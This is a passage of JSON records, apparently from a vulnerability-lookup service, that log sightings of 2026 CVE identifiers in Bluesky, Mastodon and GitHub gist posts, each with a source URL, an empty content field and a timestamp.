"https://bsky.app/profile/o2cloud.bsky.social/post/3mfmf7ngpun2s", "content": "", "creation_timestamp": "2026-02-24T14:35:08.104735Z"}, {"uuid": "3f147581-476a-4ac7-a4cf-1c5673a0ffff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27468", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mfodr7ftb22s", "content": "", "creation_timestamp": "2026-02-25T09:14:35.489169Z"}, {"uuid": "afd35b3e-c68e-43c9-8312-43107b3fa094", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27613", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfq3b5rznv2u", "content": "", "creation_timestamp": "2026-02-26T01:47:40.024065Z"}, {"uuid": "dae18861-05be-48da-b36d-32248c1fb8f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27477", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mfodr7ftb22s", "content": "", "creation_timestamp": "2026-02-25T09:14:35.581604Z"}, {"uuid": "5485655c-a991-497b-aa01-1223d0e0a672", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27495", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfq3k4aeal24", "content": "", "creation_timestamp": "2026-02-26T01:52:40.363188Z"}, {"uuid": "6890c4c0-91ed-4606-97ef-85d1d22226eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27837", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfq3lvr2dh2n", "content": "", "creation_timestamp": "2026-02-26T01:53:40.652460Z"}, {"uuid": "9ddba653-0a90-4017-b202-409522a68de4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27509", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3mftdiguj2c2i", "content": "", "creation_timestamp": "2026-02-27T08:52:53.575266Z"}, {"uuid": "fa41b49b-abb5-440d-a2a4-4af32600f3f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27899", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg5hynbe3n2a", "content": "", "creation_timestamp": "2026-03-03T09:40:10.301797Z"}, {"uuid": "d851d955-264b-42fc-9c55-ec5853b20c9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27112", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfdcxdheyo2r", "content": "", "creation_timestamp": "2026-02-21T00:00:44.305758Z"}, {"uuid": "e2f316b2-1cf9-462b-b70b-66597a7d8433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27829", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfq3ruvqrg2u", "content": "", "creation_timestamp": "2026-02-26T01:57:00.902484Z"}, {"uuid": "114f0455-9358-49c4-b354-ba66e284b3cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27510", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3mftdiguj2c2i", "content": "", "creation_timestamp": "2026-02-27T08:52:53.689680Z"}, {"uuid": "36f94c38-e271-4249-8516-0a6dbf61f8a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27112", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116105677475687695", "content": "", "creation_timestamp": "2026-02-21T00:01:05.566875Z"}, {"uuid": "16a6b27c-550e-404e-b85f-e06b979e8e39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27826", "type": "seen", "source": "https://gist.github.com/alon710/466922a78fd1f1a990595c00598870a1", "content": "", "creation_timestamp": "2026-03-10T19:40:06.000000Z"}, {"uuid": "bb9cf736-62c6-4745-88cd-dd8d21c8b6b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2749", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mfmfa7owb324", "content": "", "creation_timestamp": "2026-02-24T14:35:26.695430Z"}, {"uuid": "40c00503-ec57-4d49-b081-c8271500dd42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27945", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfq3ylvjxz2e", "content": "", "creation_timestamp": "2026-02-26T02:00:46.749658Z"}, {"uuid": "4cddaf1c-afba-4575-a883-d137fdc4644a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27476", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfatl75dmg2n", "content": "", "creation_timestamp": "2026-02-20T00:20:11.754476Z"}, {"uuid": "db9a4dad-e9cf-4fd3-99ec-29cac0fe4c06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27840", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfq4abj3762o", "content": "", "creation_timestamp": "2026-02-26T02:05:07.365988Z"}, {"uuid": "15c69ee6-167f-445e-9ee7-2a9c6368daca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27818", "type": "seen", "source": "https://gist.github.com/alon710/a4074481ed41397386883152fdafa841", "content": "", "creation_timestamp": "2026-02-26T17:10:19.000000Z"}, {"uuid": "b1bba6e5-bb99-483a-833e-11d2b6252408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27210", "type": "seen", "source": "https://bsky.app/profile/mpetroff.net/post/3mfatykowuk2j", "content": "", "creation_timestamp": "2026-02-20T00:27:39.518506Z"}, {"uuid": "15e55051-d7d5-4520-abd1-98b551b65c57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27468", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfrou7zsmp2f", "content": "", "creation_timestamp": "2026-02-26T17:11:01.092545Z"}, {"uuid": "61a38699-2b95-406b-add4-850ca9b0d7ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27181", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfauoxpnnr2e", "content": "", "creation_timestamp": "2026-02-20T00:40:11.400571Z"}, {"uuid": "051257bd-f843-4c92-8f96-14c4c406ac46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27884", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfq4jc5s4c2v", "content": "", "creation_timestamp": "2026-02-26T02:10:06.823150Z"}, {"uuid": "ff14837d-5ac5-4c22-aad7-da6c4bc69dcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27836", "type": "seen", "source": "https://gist.github.com/alon710/ddf713b6949e1e0ad41c8c6c2f71cccf", "content": "", "creation_timestamp": "2026-02-28T01:40:11.000000Z"}, {"uuid": "f1e73e28-ce3b-45b9-bcfe-7494cbb0c545", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27738", "type": "seen", "source": "https://gist.github.com/alon710/1371fd3ef3a3abfae5e6b307e565141d", "content": "", "creation_timestamp": "2026-02-26T02:10:19.000000Z"}, {"uuid": "5786fe35-6254-4c7f-996c-dc0e476a1cc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27636", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfrqieggte2m", "content": "", "creation_timestamp": "2026-02-26T17:40:10.167131Z"}, {"uuid": "0c255634-07d5-4b91-90c5-a4866b25124c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27970", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mgboks7nzc2y", "content": "", "creation_timestamp": "2026-03-05T01:48:24.642004Z"}, {"uuid": "86e24a2c-20d5-4df0-a02b-4c0fa27af335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27203", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfddvgzhlh2c", "content": "", "creation_timestamp": "2026-02-21T00:17:35.386145Z"}, {"uuid": "10de99f8-e4f8-4bb8-aab0-5c318d0d6dfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27946", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfq4saogk52e", "content": "", "creation_timestamp": "2026-02-26T02:15:07.287094Z"}, {"uuid": "8255e123-c9f3-4122-bbad-bb8d22bc1f6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27809", "type": "seen", "source": "https://gist.github.com/alon710/86084afa327f20c292a025302a0df17a", "content": "", "creation_timestamp": "2026-02-26T17:40:19.000000Z"}, {"uuid": "ff4d4e41-bd2f-42ae-9f45-230f839eecd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2757", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yasoc52y", "content": "", "creation_timestamp": "2026-02-28T02:01:47.368731Z"}, {"uuid": "a0946031-dfd2-4268-9df8-1cc7c8b4acac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27168", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfddvo54ng25", "content": "", "creation_timestamp": "2026-02-21T00:17:41.914993Z"}, {"uuid": "f817d5f6-5f1f-4509-a432-82d138705df3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27896", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfq5377qt324", "content": "", "creation_timestamp": "2026-02-26T02:20:07.736269Z"}, {"uuid": "6dc3d3ec-6ef2-4465-afdf-3b826a8d0ead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2758", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yasoc52y", "content": "", "creation_timestamp": "2026-02-28T02:01:47.493078Z"}, {"uuid": "d6fbc327-022d-47c3-b8c6-c4a336182b10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27169", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfddvp6qps2t", "content": "", "creation_timestamp": "2026-02-21T00:17:43.323343Z"}, {"uuid": "ad878cd0-d3c4-4813-90ba-a7f139a2989e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27568", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfmibug4xn2n", "content": "", "creation_timestamp": "2026-02-24T15:30:03.835717Z"}, {"uuid": "564926d0-2d2f-46cb-9ffc-e37d0d9fb900", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27809", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfrrkygf5d24", "content": "", "creation_timestamp": "2026-02-26T17:59:32.089961Z"}, {"uuid": "b6d371ce-19d6-4210-a98f-dd76a2cb1f5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2759", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yasoc52y", "content": "", "creation_timestamp": "2026-02-28T02:01:47.648136Z"}, {"uuid": "b69394d2-6a14-4148-ae1b-7ba623cc9754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27134", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfddvvhejy26", "content": "", "creation_timestamp": "2026-02-21T00:17:49.496359Z"}, {"uuid": "f912d523-6792-4c9b-be21-ccd2ab29270c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27888", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfq5e5qc2u2u", "content": "", "creation_timestamp": "2026-02-26T02:25:08.914433Z"}, {"uuid": "58d80cdc-2177-4e24-8aad-bf33764edf30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2760", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yasoc52y", "content": "", "creation_timestamp": "2026-02-28T02:01:47.773429Z"}, {"uuid": "3d929d90-a8c0-4913-b28f-d2ce79618d7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27483", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmjtge55t2u", "content": "", "creation_timestamp": "2026-02-24T15:57:47.192279Z"}, {"uuid": "d0ed552d-a973-4f0d-a768-c69125cc59cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27738", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfq5exaxdi2q", "content": "", "creation_timestamp": "2026-02-26T02:25:35.022890Z"}, {"uuid": "ff983fb3-4f23-4233-813c-2e1f21dd24a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27808", "type": "seen", "source": "https://gist.github.com/alon710/e74bfaa6d377221316be43675ce67d75", "content": "", "creation_timestamp": "2026-02-26T18:10:19.000000Z"}, {"uuid": "f0038eb6-3049-4b01-a878-cb6d460e286c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27776", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mftfmqlnli2x", "content": "", "creation_timestamp": "2026-02-27T09:31:06.324944Z"}, {"uuid": "e06919aa-18cd-4402-82de-b610abb5ba1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2761", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yasoc52y", "content": "", "creation_timestamp": "2026-02-28T02:01:47.895803Z"}, {"uuid": "0c2280aa-4342-4cfa-9986-bcbf0514455a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27208", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmjtnmafv2s", "content": "", "creation_timestamp": "2026-02-24T15:57:54.388398Z"}, {"uuid": "113c5402-a36a-4958-8fda-1ea4ac4b40bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2762", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4ybtzip2c", "content": "", "creation_timestamp": "2026-02-28T02:01:49.065542Z"}, {"uuid": "7ff63033-54f8-4651-9b61-701b64dbc5c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27168", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg3g2sjt6523", "content": "", "creation_timestamp": "2026-03-02T14:00:15.608288Z"}, {"uuid": "d494abcf-66d1-4d6a-9718-bef813bc151d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27203", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfddwb7iuy2s", "content": "", "creation_timestamp": "2026-02-21T00:18:02.788831Z"}, {"uuid": "da56e354-97a6-4fcd-b0c3-fe261e4817d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2769", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmjtuvjqd2u", "content": "", "creation_timestamp": "2026-02-24T15:58:02.115954Z"}, {"uuid": "4ee2eca5-2d7c-4be3-8fab-8801f7a30f06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2763", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4ybtzip2c", "content": "", "creation_timestamp": "2026-02-28T02:01:49.179452Z"}, {"uuid": "8aa69749-cd4c-4d44-a651-48c671bdb760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27168", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfddwj3bfn2h", "content": "", "creation_timestamp": "2026-02-21T00:18:10.481275Z"}, {"uuid": "e271453a-4fa8-42e6-baa2-605b38d37ec9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27470", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfmjxuywky2i", "content": "", "creation_timestamp": "2026-02-24T16:00:15.965710Z"}, {"uuid": "871796aa-1346-41be-8e48-266daa321463", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27468", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfq5kdwnho2j", "content": "", "creation_timestamp": "2026-02-26T02:28:36.299671Z"}, {"uuid": "a259c74c-a61d-4f44-884e-439e4c74853f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27692", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mftg4xpb6a2i", "content": "", "creation_timestamp": "2026-02-27T09:40:09.910170Z"}, {"uuid": "7bf4f2a6-2cbe-4665-b28a-68592c949f94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2764", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4ybtzip2c", "content": "", "creation_timestamp": "2026-02-28T02:01:49.288751Z"}, {"uuid": "b9b133dd-7f98-4a01-a1d2-68d2ab85f7e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27487", "type": "seen", "source": "https://bsky.app/profile/toxfox.bsky.social/post/3mgirjqvsxy2o", "content": "", "creation_timestamp": "2026-03-07T21:30:06.075610Z"}, {"uuid": "a638cd34-490e-4327-a8a0-3c4e402b4f29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27169", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfddwqnowt2n", "content": "", "creation_timestamp": "2026-02-21T00:18:17.995419Z"}, {"uuid": "3527518c-240f-4a3c-b9de-e82baff663dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27471", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmkefla5q2s", "content": "", "creation_timestamp": "2026-02-24T16:07:16.428142Z"}, {"uuid": "c77f2747-833e-4c53-9795-4ce9eaf544ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27830", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfq5n54cfq2n", "content": "", "creation_timestamp": "2026-02-26T02:30:10.240472Z"}, {"uuid": "5aaebd9a-f4d0-4f89-9fcf-ede8c180d735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27849", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfrsubx4wo25", "content": "", "creation_timestamp": "2026-02-26T18:22:38.103932Z"}, {"uuid": "18e0cef3-8663-4cef-ac4c-40d524b06750", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2765", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4ybtzip2c", "content": "", "creation_timestamp": "2026-02-28T02:01:49.405995Z"}, {"uuid": "a5ba9cb0-6289-49f0-8a65-264dfe431be3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27820", "type": "seen", "source": "https://bsky.app/profile/hsbt.org/post/3mgbphvchmc2g", "content": "", "creation_timestamp": "2026-03-05T02:04:37.255860Z"}, {"uuid": "85f64889-c4fa-402a-9c3b-48b6f01ec8e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27134", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfde2mqggs2s", "content": "", "creation_timestamp": "2026-02-21T00:20:28.240429Z"}, {"uuid": "f1a7ca07-e420-4f04-802c-d0191bbc3e7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27212", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmkem747u2u", "content": "", "creation_timestamp": "2026-02-24T16:07:23.183320Z"}, {"uuid": "391f7a82-a623-4908-9c7a-4e5c1366fef3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27849", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfrsumlpoo2s", "content": "", "creation_timestamp": "2026-02-26T18:22:49.176011Z"}, {"uuid": "87662289-fda8-4ac4-a7e2-0b3f49aa0033", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2766", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4ybtzip2c", "content": "", "creation_timestamp": "2026-02-28T02:01:49.512497Z"}, {"uuid": "9bc0b0d2-e881-4c42-ab11-5baf60ae4854", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27202", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmkessg5i2s", "content": "", "creation_timestamp": "2026-02-24T16:07:30.256899Z"}, {"uuid": "02068f87-b7f4-4c7c-95c6-12a904eee467", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27616", "type": "seen", "source": "https://gist.github.com/alon710/9006618da1b051586fad7e8efcfefd06", "content": "", "creation_timestamp": "2026-02-26T02:40:19.000000Z"}, {"uuid": "45125fd8-24c1-4dc6-8bdc-d4b59df16e78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2767", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4ycvd6i2f", "content": "", "creation_timestamp": "2026-02-28T02:01:50.794918Z"}, {"uuid": "ad8ca455-4803-4b26-9c08-14a27f65f7aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27202", "type": "seen", "source": "https://mastodon.social/ap/users/115755483699003887/statuses/116126464556997178", "content": "", "creation_timestamp": "2026-02-24T16:07:36.531802Z"}, {"uuid": "8f62d9c9-4b34-414f-a8df-fc2b08014dd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2768", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4ycvd6i2f", "content": "", "creation_timestamp": "2026-02-28T02:01:50.903468Z"}, {"uuid": "563a7406-4f84-4a6e-aa67-c585d43ad92d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27174", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mg6o5jwnkx2h", "content": "", "creation_timestamp": "2026-03-03T21:02:57.496427Z"}, {"uuid": "a3bb6440-7030-4063-9abc-fde49f783f70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2769", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4ycvd6i2f", "content": "", "creation_timestamp": "2026-02-28T02:01:51.008847Z"}, {"uuid": "650f9a42-1975-4464-8ab8-35c0be6839cd", "vulnerability_lookup_origin": 